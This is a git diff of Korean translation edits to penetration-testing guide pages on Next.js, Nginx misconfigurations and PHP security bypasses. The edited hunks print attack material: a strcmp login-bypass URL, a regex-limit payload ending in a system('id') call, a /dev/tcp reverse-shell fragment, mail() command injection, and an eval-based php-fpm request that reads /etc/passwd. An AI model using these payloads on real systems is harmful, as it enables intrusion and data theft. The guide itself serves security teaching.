(예: 인증 확인). -3. **응답 수정:** 응답을 변경하거나 다음 핸들러로 제어를 전달할 수 있습니다. +1. **수신 요청:** 미들웨어가 요청을 가로챔. +2. **처리:** 요청에 따라 작업 수행 (예: 인증 확인). +3. **응답 수정:** 응답을 변경하거나 다음 핸들러로 제어를 전달할 수 있음. **예시 사용 사례:** @@ -884,7 +884,7 @@ value: "no-referrer", // Completely hides referrer 이미지 최적화 설정 -Next.js는 성능을 위해 이미지를 최적화하지만, 잘못된 구성은 신뢰할 수 없는 소스가 악성 콘텐츠를 주입할 수 있는 보안 취약점을 초래할 수 있습니다. +Next.js는 성능을 위해 이미지를 최적화하지만, 잘못된 구성은 신뢰할 수 없는 소스가 악성 콘텐츠를 주입할 수 있는 보안 취약점으로 이어질 수 있습니다. **잘못된 구성 예:** ```javascript @@ -903,7 +903,7 @@ domains: ["*"], // Allows images from any domain **공격자가 이를 악용하는 방법:** -악성 소스에서 이미지를 주입함으로써 공격자는 피싱 공격을 수행하거나, 오해의 소지가 있는 정보를 표시하거나, 이미지 렌더링 라이브러리의 취약점을 악용할 수 있습니다. +악의적인 소스에서 이미지를 주입함으로써 공격자는 피싱 공격을 수행하거나, 오해의 소지가 있는 정보를 표시하거나, 이미지 렌더링 라이브러리의 취약점을 악용할 수 있습니다.
@@ -999,7 +999,7 @@ return config **문제:** - **민감한 경로 노출:** 민감한 디렉토리를 별칭 처리하고 클라이언트 측 접근을 허용하면 기밀 정보가 유출될 수 있습니다. -- **비밀 번들링:** 민감한 파일이 클라이언트를 위해 번들링되면, 그 내용이 소스 맵이나 클라이언트 측 코드를 검사하여 접근 가능해집니다. +- **비밀 번들링:** 민감한 파일이 클라이언트를 위해 번들링되면, 그 내용이 소스 맵이나 클라이언트 측 코드를 검사하여 접근할 수 있게 됩니다. **공격자가 이를 악용하는 방법:** @@ -1098,17 +1098,17 @@ console.log("> Ready on http://localhost:3000") ``` --- -## 추가적인 아키텍처 및 보안 고려사항 +## 추가 아키텍처 및 보안 고려사항 ### 환경 변수 및 구성 -**목적:** 코드베이스 외부에서 민감한 정보 및 구성 설정을 관리합니다. +**목적:** 코드베이스 외부에서 민감한 정보 및 구성 설정 관리. **모범 사례:** -- **`.env` 파일 사용:** API 키와 같은 변수를 `.env.local`에 저장합니다 (버전 관리에서 제외). -- **변수를 안전하게 접근:** `process.env.VARIABLE_NAME`을 사용하여 환경 변수에 접근합니다. -- **클라이언트에 비밀 노출 금지:** 민감한 변수는 서버 측에서만 사용되도록 합니다. +- **`.env` 파일 사용:** API 키와 같은 변수를 `.env.local`에 저장 (버전 관리에서 제외). +- **변수를 안전하게 접근:** `process.env.VARIABLE_NAME`을 사용하여 환경 변수에 접근. +- **클라이언트에 비밀 노출 금지:** 민감한 변수는 서버 측에서만 사용되도록 보장. **예시:** ```javascript @@ -1133,7 +1133,7 @@ SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client **보안 관행:** - **보안 쿠키:** `HttpOnly`, `Secure`, 및 `SameSite` 속성을 설정합니다. -- **비밀번호 해싱:** 비밀번호를 저장하기 전에 항상 해싱합니다. +- **비밀번호 해싱:** 비밀번호를 저장하기 전에 항상 해시합니다. - **입력 검증:** 입력을 검증하고 정리하여 주입 공격을 방지합니다. **예시:** diff --git a/src/network-services-pentesting/pentesting-web/nginx.md b/src/network-services-pentesting/pentesting-web/nginx.md index 79dacd55c..df4d5156d 100644 --- a/src/network-services-pentesting/pentesting-web/nginx.md +++ b/src/network-services-pentesting/pentesting-web/nginx.md @@ -5,7 +5,7 @@ ## Missing root location -Nginx 서버를 구성할 때, **root directive**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래 예제를 고려해 보십시오: +Nginx 서버를 구성할 때, **root directive**는 파일이 제공되는 기본 디렉토리를 정의함으로써 중요한 역할을 합니다. 아래의 예를 고려해 보십시오: ```bash server { root /etc/nginx; @@ -16,7 +16,7 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location /hello.txt`)만 정의되어 있다는 점이 중요합니다. 루트 위치(`location / {...}`)에 대한 구성은 없습니다. 이 누락은 루트 지시어가 전역적으로 적용되어, 루트 경로 `/`에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 합니다. +이 구성에서 `/etc/nginx`는 루트 디렉토리로 지정됩니다. 이 설정은 `/hello.txt`와 같은 지정된 루트 디렉토리 내의 파일에 대한 접근을 허용합니다. 그러나 특정 위치(`location / {...}`)만 정의되어 있다는 점이 중요합니다. 이 누락은 루트 지시어가 전역적으로 적용되어, 루트 경로 `/`에 대한 요청이 `/etc/nginx` 아래의 파일에 접근할 수 있게 만듭니다. 이 구성에서 중요한 보안 고려 사항이 발생합니다. `GET /nginx.conf`와 같은 간단한 `GET` 요청은 `/etc/nginx/nginx.conf`에 위치한 Nginx 구성 파일을 제공함으로써 민감한 정보를 노출할 수 있습니다. 루트를 `/etc`와 같은 덜 민감한 디렉토리로 설정하면 이 위험을 완화할 수 있지만, 여전히 다른 중요한 파일, 다른 구성 파일, 접근 로그 및 HTTP 기본 인증에 사용되는 암호화된 자격 증명에 대한 의도치 않은 접근을 허용할 수 있습니다. @@ -46,7 +46,7 @@ alias../../ => HTTP status code 403 alias../../../../../../../../../../../ => HTTP status code 400 alias../ => HTTP status code 403 ``` -## Unsafe path restriction +## 안전하지 않은 경로 제한 다음 페이지를 확인하여 다음과 같은 지시문을 우회하는 방법을 알아보세요: ```plaintext @@ -93,12 +93,12 @@ Detectify: clrf ``` CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)를 방문하세요. -또한 이 기술은 [**이 발표에서 설명됩니다**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) 취약한 예제와 탐지 메커니즘과 함께. 예를 들어, 블랙박스 관점에서 이 잘못된 구성을 탐지하기 위해 다음 요청을 사용할 수 있습니다: +또한 이 기술은 [**이 발표에서 설명됩니다**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) 취약한 예제와 탐지 메커니즘과 함께. 예를 들어, 블랙박스 관점에서 이 잘못된 구성을 감지하기 위해 다음 요청을 사용할 수 있습니다: - `https://example.com/%20X` - 모든 HTTP 코드 - `https://example.com/%20H` - 400 잘못된 요청 -취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류가 반환됩니다. 따라서 서버는 다음과 같은 내용을 수신하게 됩니다: `GET / H HTTP/1.1` 이로 인해 오류가 발생합니다. +취약한 경우, 첫 번째는 "X"가 모든 HTTP 메서드이므로 반환되고, 두 번째는 H가 유효한 메서드가 아니므로 오류가 반환됩니다. 따라서 서버는 `GET / H HTTP/1.1`과 같은 것을 수신하게 되고, 이는 오류를 유발합니다. 또 다른 탐지 예는 다음과 같습니다: @@ -107,13 +107,13 @@ CRLF 주입 및 응답 분할의 위험에 대해 더 알아보려면 [https://b 그 발표에서 발견된 취약한 구성 중 일부는 다음과 같습니다: -- 최종 URL에서 **`$uri`**가 그대로 설정된 것을 주목하세요. +- 최종 URL에서 **`$uri`**가 그대로 설정된 방법에 주목하세요. ``` location ^~ /lite/api/ { proxy_pass http://lite-backend$uri$is_args$args; } ``` -- 다시 한 번 **`$uri`**가 URL에 있는 것을 주목하세요 (이번에는 매개변수 안에 있습니다) +- 다시 **`$uri`**가 URL에 있는 것을 주목하세요 (이번에는 매개변수 안에 있습니다) ``` location ~ ^/dna/payment { rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; @@ -127,7 +127,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri; ``` ### Any variable -**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하였으며, 서버 사이드 인클루드(SSI)가 근본 원인으로 지목되었습니다. +**사용자 제공 데이터**가 특정 상황에서 **Nginx 변수**로 처리될 수 있다는 것이 발견되었습니다. 이러한 행동의 원인은 다소 불분명하지만, 드물지 않으며 검증하기도 간단하지 않습니다. 이 이상 현상은 HackerOne의 보안 보고서에서 강조되었으며, [여기](https://hackerone.com/reports/370094)에서 확인할 수 있습니다. 오류 메시지에 대한 추가 조사는 [Nginx 코드베이스의 SSI 필터 모듈](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) 내에서 발생하는 것을 확인하게 되었으며, 서버 사이드 인클루드(SSI)가 근본 원인으로 지목되었습니다. 이 **잘못된 구성**을 **탐지하기 위해**, 다음 명령을 실행할 수 있으며, 이는 변수 출력을 테스트하기 위해 referer 헤더를 설정하는 것을 포함합니다: ```bash @@ -137,7 +137,7 @@ $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar ## 원시 백엔드 응답 읽기 -Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지와 헤더를 숨기려고 합니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다. +Nginx는 `proxy_pass`를 통해 백엔드에서 생성된 오류 및 HTTP 헤더를 가로채는 기능을 제공하여 내부 오류 메시지 및 헤더를 숨기도록 합니다. 이는 Nginx가 백엔드 오류에 대한 사용자 정의 오류 페이지를 제공함으로써 이루어집니다. 그러나 Nginx가 잘못된 HTTP 요청을 처리할 때 문제가 발생합니다. 이러한 요청은 수신된 대로 백엔드로 전달되며, 백엔드의 원시 응답은 Nginx의 개입 없이 클라이언트에게 직접 전송됩니다. uWSGI 애플리케이션을 포함한 예시 시나리오를 고려해 보십시오: ```python @@ -162,13 +162,25 @@ proxy_hide_header Secret-Header; 기본적으로 Nginx의 **`merge_slashes` 지시어**는 **`on`**으로 설정되어 있어 URL의 여러 개의 슬래시를 하나의 슬래시로 압축합니다. 이 기능은 URL 처리를 간소화하지만, Nginx 뒤에 있는 애플리케이션에서 특히 로컬 파일 포함(LFI) 공격에 취약한 경우 취약점을 숨길 수 있습니다. 보안 전문가 **Danny Robinson과 Rotem Bar**는 Nginx가 리버스 프록시로 작동할 때 이 기본 동작과 관련된 잠재적 위험을 강조했습니다. -이러한 위험을 완화하기 위해, 이러한 취약점에 취약한 애플리케이션에 대해 **`merge_slashes` 지시어를 끄는 것이 권장됩니다**. 이는 Nginx가 URL 구조를 변경하지 않고 애플리케이션에 요청을 전달하도록 보장하여 기본적인 보안 문제를 숨기지 않도록 합니다. +이러한 위험을 완화하기 위해, 이러한 취약점에 취약한 애플리케이션에 대해 **`merge_slashes` 지시어를 끄는 것이 권장됩니다**. 이는 Nginx가 URL 구조를 변경하지 않고 애플리케이션에 요청을 전달하도록 보장하여 기본 보안 문제를 숨기지 않도록 합니다. 자세한 내용은 [Danny Robinson과 Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)를 확인하세요. ### **Maclicious Response Headers** -[**이 글 +[**이 글**](https://mizu.re/post/cors-playground)에서 보여주듯이, 웹 서버의 응답에 존재하는 특정 헤더는 Nginx 프록시의 동작을 변경할 수 있습니다. 이 헤더는 [**문서에서 확인할 수 있습니다**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/): + +- `X-Accel-Redirect`: Nginx가 요청을 지정된 위치로 내부적으로 리디렉션하도록 지시합니다. +- `X-Accel-Buffering`: Nginx가 응답을 버퍼링할지 여부를 제어합니다. +- `X-Accel-Charset`: X-Accel-Redirect를 사용할 때 응답의 문자 집합을 설정합니다. +- `X-Accel-Expires`: X-Accel-Redirect를 사용할 때 응답의 만료 시간을 설정합니다. +- `X-Accel-Limit-Rate`: X-Accel-Redirect를 사용할 때 응답의 전송 속도를 제한합니다. + +예를 들어, 헤더 **`X-Accel-Redirect`**는 Nginx에서 내부 **리디렉션**을 유발합니다. 따라서 **`root /`**와 같은 Nginx 구성이 있고 웹 서버의 응답에 **`X-Accel-Redirect: .env`**가 포함되면 Nginx는 **`/.env`**의 내용을 전송하게 됩니다 (경로 탐색). + +### **Map Directive의 기본값** + +**Nginx 구성**에서 `map` 지시어는 종종 **인증 제어**에서 역할을 합니다. 일반적인 실수는 **기본** 값을 지정하지 않는 것으로, 이는 무단 접근으로 이어질 수 있습니다. 예를 들어: ```yaml http { map $uri $mappocallow { @@ -187,17 +199,17 @@ return 200 "Hello. It is private area: $mappocallow"; } } ``` -`default`가 없으면, **악의적인 사용자**는 `/map-poc` 내에서 **정의되지 않은 URI**에 접근하여 보안을 우회할 수 있습니다. [Nginx 매뉴얼](https://nginx.org/en/docs/http/ngx_http_map_module.html)에서는 이러한 문제를 피하기 위해 **기본값**을 설정할 것을 권장합니다. +`default`가 없으면 **악의적인 사용자**가 `/map-poc` 내에서 **정의되지 않은 URI**에 접근하여 보안을 우회할 수 있습니다. [Nginx 매뉴얼](https://nginx.org/en/docs/http/ngx_http_map_module.html)에서는 이러한 문제를 피하기 위해 **기본값**을 설정할 것을 권장합니다. ### **DNS 스푸핑 취약점** -특정 조건에서 Nginx에 대한 DNS 스푸핑이 가능합니다. 공격자가 Nginx에서 사용하는 **DNS 서버**를 알고 그 DNS 쿼리를 가로챌 수 있다면, DNS 레코드를 스푸핑할 수 있습니다. 그러나 Nginx가 DNS 해석을 위해 **localhost (127.0.0.1)**를 사용하도록 구성된 경우, 이 방법은 효과적이지 않습니다. Nginx는 다음과 같이 DNS 서버를 지정할 수 있습니다: +특정 조건에서 Nginx에 대한 DNS 스푸핑이 가능합니다. 공격자가 Nginx에서 사용하는 **DNS 서버**를 알고 그 DNS 쿼리를 가로챌 수 있다면, DNS 레코드를 스푸핑할 수 있습니다. 그러나 Nginx가 DNS 해석을 위해 **localhost (127.0.0.1)**를 사용하도록 구성된 경우 이 방법은 효과적이지 않습니다. Nginx는 다음과 같이 DNS 서버를 지정할 수 있습니다: ```yaml resolver 8.8.8.8; ``` ### **`proxy_pass` 및 `internal` 지시어** -**`proxy_pass`** 지시어는 요청을 내부 또는 외부의 다른 서버로 리디렉션하는 데 사용됩니다. **`internal`** 지시어는 특정 위치가 Nginx 내에서만 접근 가능하도록 보장합니다. 이러한 지시어 자체는 취약점이 아니지만, 보안 누수를 방지하기 위해 구성에 대한 신중한 검토가 필요합니다. +**`proxy_pass`** 지시어는 요청을 다른 서버로 리디렉션하는 데 사용되며, 내부 또는 외부에서 사용할 수 있습니다. **`internal`** 지시어는 특정 위치가 Nginx 내에서만 접근 가능하도록 보장합니다. 이러한 지시어 자체는 취약점이 아니지만, 보안 누수를 방지하기 위해 구성에 대한 신중한 검토가 필요합니다. ## proxy_set_header Upgrade & Connection @@ -227,7 +239,7 @@ deny all; } ``` > [!WARNING] -> `proxy_pass`가 `http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있는지는 중요하지 않습니다.** +> `proxy_pass`가 `http://backend:9999/socket.io`와 같은 특정 **경로**를 가리키고 있더라도, 연결은 `http://backend:9999`로 설정되므로 **내부 엔드포인트 내의 다른 경로에 연락할 수 있습니다. 따라서 proxy_pass의 URL에 경로가 지정되어 있더라도 상관없습니다.** ## 직접 해보세요 @@ -239,7 +251,7 @@ Detectify는 이 기사에서 논의된 몇 가지 잘못된 구성으로 자신 ### [GIXY](https://github.com/yandex/gixy) -Gixy는 Nginx 구성을 분석하는 도구입니다. Gixy의 주요 목표는 보안 잘못된 구성을 방지하고 결함 감지를 자동화하는 것입니다. +Gixy는 Nginx 구성을 분석하는 도구입니다. Gixy의 주요 목표는 보안 잘못된 구성을 방지하고 결함 탐지를 자동화하는 것입니다. ### [Nginxpwner](https://github.com/stark0de/nginxpwner) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index c37fac889..c72791705 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -52,7 +52,7 @@ var_dump(in_array(0, $values, true)); ``` ### strcmp()/strcasecmp() -이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되면 사용자가 비교의 한 쪽을 제어할 수 있으므로 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다: +이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되고 사용자가 비교의 한 쪽을 제어할 수 있는 경우, 그는 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다: ```php if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password @@ -63,17 +63,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ### 엄격한 타입 조작 -`===`가 **사용되고** 있더라도 **비교가 타입 조작에 취약**하게 만드는 오류가 있을 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**: +`===`가 **사용되고** 있더라도 **비교가 타입 조작에 취약**하게 만드는 오류가 있을 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하고 있는 경우**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` ### preg_match(/^.\*/) -**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드 실행을 계속할 수 있습니다). +**`preg_match()`**는 **사용자 입력을 검증**하는 데 사용될 수 있습니다(이는 **블랙리스트**에 있는 **단어/정규 표현식**이 **사용자 입력**에 **존재하는지** 확인하고, 존재하지 않으면 코드는 계속 실행될 수 있습니다). #### New line bypass -그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예: +그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 어떤 방법으로든 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -86,7 +86,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -이 검사를 우회하려면 **새 줄이 포함된 값을 URL 인코딩하여 전송**하거나, **JSON 데이터를 보낼 수** 있다면 **여러 줄로 전송**하세요: +이 검사를 우회하려면 **새 줄이 포함된 값을 URL 인코딩하여 전송**하거나, **JSON 데이터를 보낼 수 있는 경우**, **여러 줄로 전송**하십시오: ```php { "cmd": "cat /etc/passwd" @@ -97,7 +97,7 @@ echo preg_match("/^.*1.*$/",$myinput); #### **길이 오류 우회** (이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)\ -`preg_match()`에 유효한 매우 **큰 입력**을 보내면, **처리할 수 없게** 되어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다: +`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -112,9 +112,9 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf- 간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다. [이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\ -**정규 표현식이 100,000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system()}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**. +**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system()}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**. -정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1,000,000 (1M)입니다.\ +정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\ 이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" @@ -132,7 +132,7 @@ $obfs += ""; //int 7 ``` ## Execute After Redirect (EAR) -PHP가 다른 페이지로 리디렉션되고 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`** 설정 후에 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다: +PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다: ```php **를 확인하여 php 디렉토리가 활성화되어 있는지 확인하십시오. -- [**LFI 및 RCE using php wrappers**](../../../pentesting-web/file-inclusion/) +- [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify 이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성**하고 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\ -지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하십시오.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다: +지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT`(시작은 `$2y$`). **PASSWORD_DEFAULT는 자주 PASSWORD_BCRYPT와 동일하다는 점에 유의하십시오.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72바이트**입니다. 따라서 이 알고리즘으로 72바이트보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -173,9 +173,9 @@ True #### 헤더 설정 후 오류 발생 -[**이 트위터 스레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)에서 1000개 이상의 GET 파라미터, 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면, PHP는 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다. +[**이 트위터 스레드**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)에서 1000개 이상의 GET 파라미터, 1000개 이상의 POST 파라미터 또는 20개의 파일을 전송하면 PHP가 응답에서 헤더를 설정하지 않는 것을 볼 수 있습니다. -예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있습니다: +예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있게 합니다: ```php & /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - 이 함수는 메일을 보내는 데 사용되지만, `$options` 매개변수에 임의의 명령을 주입하는 데 악용될 수 있습니다. 이는 **php `mail` 함수**가 일반적으로 시스템 내의 `sendmail` 바이너리를 호출하고 추가 옵션을 설정할 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로, 출력을 파일에 기록하는 셸 스크립트를 만들고, 메일을 사용하여 실행한 다음 출력을 인쇄하는 것이 좋습니다: +**mail / mb_send_mail** - 이 함수는 메일을 보내는 데 사용되지만, `$options` 매개변수에 임의의 명령을 주입하는 데 악용될 수 있습니다. 이는 **php `mail` 함수**가 일반적으로 시스템 내의 `sendmail` 바이너리를 호출하고 추가 옵션을 넣을 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로, 출력을 파일에 기록하는 셸 스크립트를 만들고, 메일을 사용하여 실행한 후 출력을 인쇄하는 것이 권장됩니다: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` @@ -86,7 +86,7 @@ PHP 설정은 _/etc/php7/conf.d_ 또는 유사한 경로에서 구성되어야 ## open_basedir Bypass `open_basedir`는 PHP가 접근할 수 있는 폴더를 구성하며, 해당 폴더 외부의 파일을 **읽기/쓰기/실행**할 수 없고, 다른 디렉토리를 **나열**할 수도 없습니다.\ -그러나 만약 어떤 방법으로든 임의의 PHP 코드를 실행할 수 있다면, 다음의 **코드** 조각을 사용하여 제한을 **우회**해 볼 수 있습니다. +그러나 만약 임의의 PHP 코드를 실행할 수 있다면, 다음의 **코드** 조각을 사용하여 제한을 **우회**해 보십시오. ### glob:// 우회로 디렉토리 나열하기 @@ -111,9 +111,9 @@ echo "{$f}
"; **Note2**: 코드의 일부가 중복된 것처럼 보이지만, 실제로는 필요합니다!\ **Note3**: 이 예제는 파일을 읽는 것이 아니라 폴더를 나열하는 데만 유용합니다. -### 전체 open_basedir 우회 FastCGI 악용 +### Full open_basedir bypass abusing FastCGI -**PHP-FPM 및 FastCGI에 대해 더 알고 싶다면** [이 페이지의 첫 번째 섹션](disable_functions-bypass-php-fpm-fastcgi.md)을 읽을 수 있습니다.\ +PHP-FPM 및 FastCGI에 대해 **더 알고 싶다면** [이 페이지의 첫 번째 섹션](disable_functions-bypass-php-fpm-fastcgi.md)을 읽을 수 있습니다.\ **`php-fpm`**이 구성되어 있다면 **open_basedir**를 완전히 우회하는 데 악용할 수 있습니다: ![](<../../../../images/image (545).png>) @@ -473,16 +473,16 @@ echo $client->request($params, $code)."\n"; ?> ``` 이 스크립트는 **php-fpm의 유닉스 소켓**과 통신하여 임의의 코드를 실행합니다. `open_basedir` 설정은 전송된 **PHP_VALUE** 속성에 의해 덮어씌워집니다.\ -`eval`이 **cmd** 매개변수 내에서 전송한 PHP 코드를 실행하는 데 사용되는 방식을 주목하세요.\ -또한 **주석 처리된 324행**을 주목하세요. 이를 주석 해제하면 **페이로드가 자동으로 주어진 URL에 연결되어 그곳에 포함된 PHP 코드를 실행합니다.**\ +`cmd` 매개변수 내에서 전송한 PHP 코드를 실행하기 위해 `eval`이 사용되는 방식을 주목하세요.\ +또한 **주석 처리된 324행**을 주목하세요. 이 행의 주석을 해제하면 **페이로드가 주어진 URL에 자동으로 연결되어 그곳에 포함된 PHP 코드를 실행합니다.**\ `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`에 접근하여 `/etc/passwd` 파일의 내용을 가져오세요. > [!WARNING] -> `open_basedir` 